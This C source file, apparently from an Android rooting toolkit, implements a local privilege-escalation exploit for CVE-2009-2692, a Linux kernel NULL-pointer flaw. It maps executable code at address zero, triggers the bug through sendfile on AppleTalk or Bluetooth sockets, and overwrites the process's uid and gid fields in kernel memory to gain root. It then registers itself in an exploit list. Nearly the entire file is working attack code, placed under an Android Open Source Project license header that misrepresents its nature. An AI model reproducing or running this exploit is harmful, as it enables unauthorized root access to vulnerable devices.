/*
 * Copyright (C) 2009 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */
#include <android/log.h>
#include <string.h>
#include <jni.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
//#include <D:/android-ndk-r10/platforms/android-19/arch-arm/usr/include/sys/personality.h>
#include "platform-12-header/personality.h"

#include "log.h"
#include "exploit.h"

static unsigned int uid, gid;


//#define TAG   "ToRoot"
//#define	LOGI(...)  __android_log_print(ANDROID_LOG_INFO,TAG,__VA_ARGS__)

void kernel_code()
{
	unsigned long where=0;
	unsigned long *pcb_task_struct;

	where=(unsigned long )&where;
	where&=~8191;
	pcb_task_struct=(unsigned long *)where;

	while(pcb_task_struct){
		if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
			pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
			pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
			pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
			pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
			pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
			break;
		}
		pcb_task_struct++;
	}
	return;
	/*
	** By calling iret after pushing a register into kernel stack,
	** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
	**
	** kernel_code() function will return to its previous status which means before sendfile() system call,
	** after operating upon a ring0(kernel mode) privilege level.
	** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
	*/
}
void *kernel=kernel_code;

/**
 * return 0 mean success.
 * */
static int toRoot_cve_2009_2692_1(){
	int fd_in=0,fd_out=0,offset=1;
		void *zero_page;

		uid=getuid();
		gid=getgid();
		if(uid == 0){
//			fprintf(stderr,"[-] check ur uid\n");
//			return -1;
			return 0;
		}

		/*
		** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
		*/
		if(personality(0xffffffff)==PER_SVR4){
			if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
//				perror("[-] mprotect()");
//				return -1;
				return 1;
			}
		}
		else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))
				== MAP_FAILED){
//				perror("[-] mmap()");
//				return -1;
			return 2;
		}

		*(char *)0x00000000=0xff;
		*(char *)0x00000001=0x25;
		*(unsigned long *)0x00000002=(unsigned long)&kernel;
		*(char *)0x00000006=0xc3;

	//	if((fd_in=open(argv[0],O_RDONLY))==-1){
	//		perror("[-] open()");
	//		return -1;
	//	}
		if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){
			if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){
//				perror("[-] socket()");
//				return -1;
				return 3;
			}
		}
	gogossing:
		/*
		** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
		** an attacker can make all the processes runing under current user uid 0.
		*/
		if(sendfile(fd_out,fd_in,&offset,2)==-1){
			if(offset==0){
//				perror("[-] sendfile()");
//				return -1;
				return 4;
			}
			close(fd_out);
			fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
		}
		if(getuid()==uid){
			if(offset){
				offset=0;
			}
			goto gogossing; /* all process */
		}
		close(fd_in);
		close(fd_out);

		//execl("/bin/sh","sh","-i",NULL);
		if (getuid() == 0) {
			return 0;
		}

		return 4;

}


exploit_t EXPLOIT_cve_2009_2692_1 = {
    .name = "cve_2009_2692_1",
    .call_direct = toRoot_cve_2009_2692_1,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(cve_2009_2692_1);

    *list = exp;
}
